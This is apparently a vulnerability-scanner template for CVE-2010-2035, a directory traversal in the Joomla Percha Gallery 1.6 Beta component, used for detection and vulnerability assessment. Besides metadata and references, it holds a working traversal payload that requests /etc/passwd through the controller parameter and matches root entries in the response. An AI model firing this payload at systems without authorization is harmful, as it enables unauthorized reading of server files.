id: CVE-2010-2035

info:
  name: Joomla! Component Percha Gallery 1.6 Beta - Directory Traversal
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Percha Gallery (com_perchagallery) component 1.6 Beta for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    An attacker can access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/34006
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2035
    - http://packetstormsecurity.org/1005-exploits/joomlaperchagl-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-2035
    cwe-id: CWE-22
    epss-score: 0.01019
    epss-percentile: 0.76293
    cpe: cpe:2.3:a:percha:com_perchagallery:1.6:beta:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: percha
    product: com_perchagallery
  tags: cve,cve2010,packetstorm,joomla,lfi,edb,percha

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_perchagallery&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402200c9aacfbd1a411b674a24b568ed5ab6677d95480ef67d8b6917e26356739ae3f0220600703c5e687704ce05d37d44078592ed59c7e8ba079f7ab51f03835c4bfc8f5:922c64590222798bb761d5b6d8e72950